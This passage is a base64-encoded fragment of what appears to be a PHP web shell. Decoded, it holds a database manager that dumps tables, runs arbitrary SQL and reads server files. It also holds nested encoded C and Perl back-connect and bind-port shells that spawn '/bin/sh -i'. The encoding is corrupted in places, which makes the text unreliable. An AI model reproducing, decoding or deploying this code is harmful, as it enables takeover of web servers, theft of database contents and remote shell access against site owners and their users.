3NmJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdmcyh0aGlzKTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KICAgIDx0ZD5UeXBlPC90ZD48dGQ+SG9zdDwvdGQ+PHRkPkxvZ2luPC90ZD48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD5EYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIC4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKSA/ICRfUE9TVFsnY2hhcnNldCddIDogJycpIC4gIic+CiAgICA8dGQ+PGxhYmVsPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7CiAgICAgICAgaWYgKEAkX1BPU1RbJ3R5cGUnXSA9PSAnbXlzcWwnKQogICAgICAgICAgICBlY2hvICdzZWxlY3RlZCc7CiAgICAgICAgZWNobyAiPkU3FsPC9vcHRpb+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7CiAgICAgICAgaWYgKEAkX1BPU1RbJ3R5cGUnXSA9PSAncGdzcWwnKQogICAgICAgICAgICBlY2hvICdzZWxlY3RlZCc7CiAgICAgICAgZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+CiAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0JpID8gJ2xvY2FsaG9zdCcgOiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2hvc3QnXSkpIC4gIlwiPjwvdGQ+CiAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSkgPyAncm9vdCcgOiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuICJcIj48L3RkPgogICAgPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT1cIiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKSA/ICcnIDogaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuICJcIiByZXF1aXJlZD48L3RkPjx0ZD4iOwogICAgICAgICR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpIHsKICAgICAgICAgICAgaWYgKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgewogICAgICAgICAgICAgICAgc3dpdGNoICgkX1BPU1RbJ2NoYXJzZXQnXSkgewogICAgICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6CiAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjoKICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6CiAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjoKICAgICAgICAgICAgICAgICAgICAgICAgJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6CiAgICAgICAgICAgICAgICAgICAgICAgICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkZGItPmxpc3REYnMoKTsKICAgICAgICAgICAgICAgIGVjaG8gIjxsYWJlbD48c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwogICAgICAgICAgICAgICAgd2hpbGUgKCRvcCA9ICRkYi0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJG9wKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInIC4gJHZhbHVlIC4gJyIgJyAuICgkdmFsdWUgPT0gJF9QT1NUWydzcWxfYmFzZSddID8gJ3NlbGVjdGVkJyA6ICcnKSAuICc+JyAuICR2YWx1ZSAuICc8L29wdGlvbj4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD4nOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGVjaG8gJHRtcDsKICAgICAgICB9IGVsc2UKICAgICAgICAgICAgZWNobyAkdG1wOwogICAgICAgIGVjaG8gIjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nc3VibWl0JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdWJ10pID8gJycgOiAnIGNoZWNrZWQnKSAuICI+IGNvdWIHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICA8c2NyaXB0PgogICAgICAgICAgICAgICAgc19kYj0nIiAuIEBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkgLiAiJzsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsKICAgICAgICAgICAgICAgICAgICBpZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9OwogICAgICAgICAgICAgICAgICAgICAgICBpZihmLnAxKSBmLnAxLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgICAgICBpZihmLnAzKSBmLnAzLnZhbHVlPScnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgewogICAgICAgICAgICAgICAgICAgIGQuc2YucDEudmFsdWUgPSAnc2VsZWN0JzsKICAgICAgICAgICAgICAgICAgICBkLnNmLnAyLnZhbHVlID0gdDsKICAgICAgICAgICAgICAgICAgICBpZihsICYmIGQuc2YucDMpIGQuc2YucDMudmFsdWUgPSBsOwogICAgICAgICAgICAgICAgICAgIGQuc2Yuc3VibWl0KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsKICAgICAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQogICAgICAgICAgICAgICAgICAgICAgICBkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICA8L3NjcmlwdD4iOwogICAgICAgIGlmIChpc3NldCgkZGIpICYmICRkYi0+bGluaykgewogICAgICAgICAgICBlY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsKICAgICAgICAgICAgICAgICRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsKICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOwogICAgICAgICAgICAgICAgJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CiAgICAgICAgICAgICAgICB3aGlsZSAoJG9wID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkb3ApOwogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkdmFsdWUgLiAnJykpOwogICAgICAgICAgICAgICAgICAgICR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIiAuICR2YWx1ZSAuICInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIgLiAkdmFsdWUgLiAiJywxKVwiPiIgLiAkdmFsdWUgLiAiPC9hPiIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkgPyAnJm5ic3A7JyA6ICIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlcib3A6MnB4IHNvbGlkICM2NjY7Jz4iOwogICAgICAgICAgICAgICAgaWYgKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsKICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOwogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXSA/ICRfUE9TVFsncDMnXSA6IDE7CiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnIC4gJF9QT1NUWydwMiddKTsKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOwogICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+ZC5zZi5vbnN1Ym1pdD1mdW5jdGlvbigpe3N0KFwiIiAuICRfUE9TVFsncDInXSAuICJcIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+IiAuICRfUE9TVFsncDInXSAuICI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSAkX1BPU1RbJ3AzJ10pIC4gIj4iOwogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOwogICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AzJgPiAxKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSAtIDEpIC4gIiknPiZsdDsgUHJldjwvYT4iOwogICAgICAgICAgICAgICAgICAgIGlmICgkX1BPU1RbJ3AzJgPCAkcGFnZXMpCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddICsgMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7CiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLSCiAgICAgICAgICAgICAgICAgICAgaWYgKCRfUE9TVFsndHlwZSddID09ICdwZ3NxbCcpCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10gLiAnIExJTUlUIDMwIE9GRlNFVCAnIC4gKCRfUE9TVFsncDMnXSAqIDMwKTsKICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NIGAnIC4gJF9QT1NUWydwMiddIC4gJ2AgTElNSVQgJyAuICgkX1BPU1RbJ3AzJ10gKiAzMCkgLiAnLDMwJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoKEAkX1BPU1RbJ3AxJgPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGItPnJlcyAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUgKCRvcCA9ICRkYi0+ZmV0Y2goKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGl0bGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkb3AgYXMgJGtleSA9PiAkdmFsdWUpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nIC4gJGtleSAuICc8L3RoPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzZXQoJG9wKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJyAuICRsaW5lIC4gJyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmUgPT0gMSA/IDIgOiAxOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG9wIGFzICRrZXkgPT4gJHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR2YWx1ZSA9PSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JyAuIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkgLiAnPCZD4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKSAuICc8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeSYWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZ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HWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7CiAgICAgICAgJGJhY2tfY29ubmVjdF9wID0gIkl5RXZkWETDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaVwS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cEMEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKICAgICAgICAkYmluZF9wb3J0X2MgPSAiSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVzVuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21kakxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCekxHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYkQmRPdzBLSUNBZ0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUmhaVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9RVVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YVc1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNrcE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpDaHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQjRNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJQ0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWEIwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWdpaGpMREFwT3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSUNBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdVb1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lDQWdabTl5S0drOU1EdHBQSE4wY4bGJpaHdLVHRwS3lzcERRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVKeWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbkMEtJQ0FnSUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUFQwZ01DaDaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJKcGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoaktUc05DaUFnSUNCOURRcDkiOwogICAgICAgICRiaW5kX3BvcnRfcCA9ICJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1